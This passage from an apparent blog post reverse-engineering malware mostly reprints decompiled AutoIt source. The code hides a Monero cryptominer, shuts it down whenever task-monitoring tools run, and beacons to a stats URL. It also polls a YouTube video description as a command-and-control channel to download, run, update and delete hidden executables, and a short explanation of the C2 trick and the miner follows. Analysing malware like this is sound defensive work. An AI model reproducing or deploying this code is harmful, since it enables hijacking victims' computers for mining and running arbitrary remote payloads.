            $botcheck = "https://www.youtube.com/watch?v=RmCcqoC-Oms"
            AdlibRegister("logger", 5 * 60 * 1000)
            If WinExists("SystemHer") Then
                Exit
            EndIf
            GUICreate("SystemHer")
            While Sleep(250)
                Global $aprocess[] = ["taskmgr.exe", "ProcessHacker.exe", "procexp.exe", "procexp64.exe", "perfmon.exe"]
                For $k = 0 To UBound($aprocess) - 1
                    If ProcessExists($aprocess[$k]) Then
                        $kpids = ProcessList()
                        For $q = 1 To $kpids[0][0]
                            $kreg = StringRegExp($kpids[$q][0], "attrib.exe", 3)
                            If $kreg <> 1 Then
                                If ProcessExists($kpids[$q][1]) Then ProcessClose($kpids[$q][1])
                                Exit
                            EndIf
                        Next
                    EndIf
                Next
                If $k = UBound($aprocess) Then
                    $plist = ProcessList()
                    For $i = 1 To $plist[0][0]
                        $preg = StringRegExp($plist[$i][0], "attrib.exe", 3)
                        If $preg <> 1 Then
                            If ProcessExists($plist[$i][1]) Then ExitLoop
                        EndIf
                    Next
                    If $i = UBound($plist) Then
                        $ainfo = _winapi_getsysteminfo()
                        $threads = "-t " & $ainfo[5] / 2
                        If $threads = "-t 1.5" Then
                            $threads = "-t 1"
                        EndIf
                        FileChangeDir(@ScriptDir)
                        Run("SystemCheck.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u bsipt8qbutj6@list.ru -p x " & $threads, "", @SW_HIDE)
                    EndIf
                EndIf
            WEnd
    EndSelect
EndIf

Func logger()
    If FileExists(@ScriptDir & "\system.ini") Then
    Else
        FileWrite(@ScriptDir & "\system.ini", "")
        FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
        $surl = "http://ezstat.ru/1OzYt"
        $ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
        $ohttp.open("GET", $surl, False)
        $ohttp.send("")
        $ohttp.waitforresponse
        $shtml = $ohttp.responsetext
    EndIf
EndFunc

Func bot()
    $ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
    $ohttp.open("GET", $botcheck) ; botcheck="https://www.youtube.com/watch?v=RmCcqoC-Oms"
    $ohttp.send("") #
    $ohttp.waitforresponse
    $shtml = $ohttp.responsetext
    $aecu = StringRegExp($shtml, 'id="eow-description" class="" >(.*?)</p>', 1)
    $out = $aecu[0]
    If StringRegExp($out, "_download", 0) = 1 Then
        If StringRegExp($out, 'href="(.*?)"', 0) = 1 Then
            $download = StringRegExp($out, 'href="(.*?)"', 1)
            $urldownload = $download[0]
            FileChangeDir(@ScriptDir)
            $dread = FileRead(@ScriptDir & "\system.ini")
            If StringRegExp($dread, $urldownload, 0) = 0 Then
                FileChangeDir(@ScriptDir)
                $ddownload = InetGet($urldownload, @ScriptDir & "\2mdw4.temp", 1, 1)
                Do
                    Sleep(1000)
                Until InetGetInfo($ddownload, 2)
                InetClose($ddownload)
                Sleep(1000 * 10)
                FileChangeDir(@ScriptDir)
                FileDelete(@ScriptDir & "\2mdw4.temp")
                Sleep(1000 * 2)
                FileSetAttrib(@ScriptDir & "\2mdw4", "+SH")
                $dfile = FileOpen(@ScriptDir & "\system.ini", 1)
                FileWrite(@ScriptDir & "\system.ini", $urldownload & @CRLF)
                FileClose($dfile)
                FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
            EndIf
            FileClose($dread)
        EndIf
    ElseIf StringRegExp($out, "_run", 0) = 1 Then
        If StringRegExp($out, 'href="(.*?).exe"', 0) = 1 Then
            $run = StringRegExp($out, 'href="(.*?)"', 1)
            $urlrun = $run[0]
            FileChangeDir(@ScriptDir)
            $rread = FileRead(@ScriptDir & "\system.ini")
            If StringRegExp($rread, $urlrun, 0) = 0 Then
                FileChangeDir(@ScriptDir)
                $rdownload = InetGet($urlrun, @ScriptDir & "\run.exe", 1, 1)
                Do
                    Sleep(1000)
                Until InetGetInfo($rdownload, 2)
                InetClose($rdownload)
                Sleep(1000 * 5)
                FileChangeDir(@ScriptDir)
                FileSetAttrib(@ScriptDir & "\run.exe", "+SH")
                Sleep(1000 * 2)
                Run(@ScriptDir & "\run.exe", "", @SW_HIDE)
                $rfile = FileOpen(@ScriptDir & "\system.ini", 1)
                FileWrite(@ScriptDir & "\system.ini", $urlrun & @CRLF)
                FileClose($rfile)
                FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
            EndIf
            FileClose($rread)
        EndIf
    ElseIf StringRegExp($out, "_rdel", 0) = 1 Then
        If StringRegExp($out, 'href="(.*?).exe"', 0) = 1 Then
            $rdel = StringRegExp($out, 'href="(.*?)"', 1)
            $urlrdel = $rdel[0]
            FileChangeDir(@ScriptDir)
            $rdread = FileRead(@ScriptDir & "\system.ini")
            If StringRegExp($rdread, $urlrdel, 0) = 0 Then
                FileChangeDir(@ScriptDir)
                $rddownload = InetGet($urlrdel, @ScriptDir & "\rdel.exe", 1, 1)
                Do
                    Sleep(1000)
                Until InetGetInfo($rddownload, 2)
                InetClose($rddownload)
                Sleep(1000 * 5)
                FileChangeDir(@ScriptDir)
                Run(@ScriptDir & "\rdel.exe", "", @SW_HIDE)
                Sleep(1000 * 20)
                FileChangeDir(@ScriptDir)
                FileDelete(@ScriptDir & "\rdel.exe")
                Sleep(1000 * 2)
                FileSetAttrib(@ScriptDir & "\rdel.exe", "+SH")
                $rdfile = FileOpen(@ScriptDir & "\system.ini", 1)
                FileWrite(@ScriptDir & "\system.ini", $urlrdel & @CRLF)
                FileClose($rdfile)
                FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
            EndIf
            FileClose($rdread)
        EndIf
    ElseIf StringRegExp($out, "_delete", 0) = 1 Then
        FileChangeDir(@ScriptDir)
        FileSetAttrib(@ScriptDir & "\rdel.exe", "-RSH")
        FileDelete(@ScriptDir & "\rdel.exe")
        FileSetAttrib(@ScriptDir & "\up1date.exe", "-RSH")
        FileDelete(@ScriptDir & "\up1date.exe")
        FileSetAttrib(@ScriptDir & "\run.exe", "-RSH")
        FileDelete(@ScriptDir & "\run.exe")
        FileSetAttrib(@ScriptDir & "\2mdw4.temp", "-RSH")
        FileDelete(@ScriptDir & "\2mdw4.temp")
        FileSetAttrib(@ScriptDir & "\system.ini", "-RSH")
        FileDelete(@ScriptDir & "\system.ini")
        FileWrite(@ScriptDir & "\system.ini", "")
        FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
    ElseIf StringRegExp($out, "_update", 0) = 1 Then
        If StringRegExp($out, 'href="(.*?).exe"', 0) = 1 Then
            $update = StringRegExp($out, 'href="(.*?)"', 1)
            $urlupdate = $update[0]
            FileChangeDir(@ScriptDir)
            $uread = FileRead(@ScriptDir & "\system.ini")
            If StringRegExp($uread, $urlupdate, 0) = 0 Then
                FileChangeDir(@ScriptDir)
                FileSetAttrib(@ScriptDir & "\svchost.exe", "-RSH")
                $udownload = InetGet($urlupdate, @ScriptDir & "\up1date.exe", 1, 1)
                Do
                    Sleep(1000)
                Until InetGetInfo($udownload, 2)
                InetClose($udownload)
                Sleep(1000 * 5)
                FileChangeDir(@ScriptDir)
                FileSetAttrib(@ScriptDir & "\up1date.exe", "+SH")
                Sleep(1000 * 2)
                $ufile = FileOpen(@ScriptDir & "\system.ini", 1)
                FileWrite(@ScriptDir & "\system.ini", $urlupdate & @CRLF)
                FileClose($ufile)
                FileSetAttrib(@ScriptDir & "\system.ini", "+SH")
                Run(@ScriptDir & "\up1date.exe", "", @SW_HIDE)
                Exit
            EndIf
            FileClose($uread)
        EndIf
    EndIf
EndFunc

The interesting part is the bot() function:

$ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
    $ohttp.open("GET", $botcheck) ; botcheck="https://www.youtube.com/watch?v=RmCcqoC-Oms"
    $ohttp.send("") #
    $ohttp.waitforresponse
    $shtml = $ohttp.responsetext
    $aecu = StringRegExp($shtml, 'id="eow-description" class="" >(.*?)</p>', 1)
    $out = $aecu[0]
    If StringRegExp($out, "_download", 0) = 1 Then
        ; download logic
    ElseIf StringRegExp($out, "_run", 0) = 1 Then
        ; run logic
    ElseIf StringRegExp($out, "_rdel", 0) = 1 Then
        ; rdel logic
    ElseIf StringRegExp($out, "_delete", 0) = 1 Then
        ; delete logic
    ElseIf StringRegExp($out, "_update", 0) = 1 Then
        ; update logic

It uses a YouTube video (reported, but please report again) as a command and control mechanism. If the description contains one of the _download, _run, etc. command it will perform certain actions based on the data in the description (such as downloading a file or updating to a newer version).

It also appears to run some kind of crypto currency miner, although I couldn’t find the SystemCheck executable:

Run("SystemCheck.exe -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u bsipt8qbutj6@list.ru -p x " & $threads, "", @SW_HIDE)

Well, that has been all for today. It has certainly been fun reversing malware for a change!

“Heb ik dat nou al gezouten?”

Leave a comment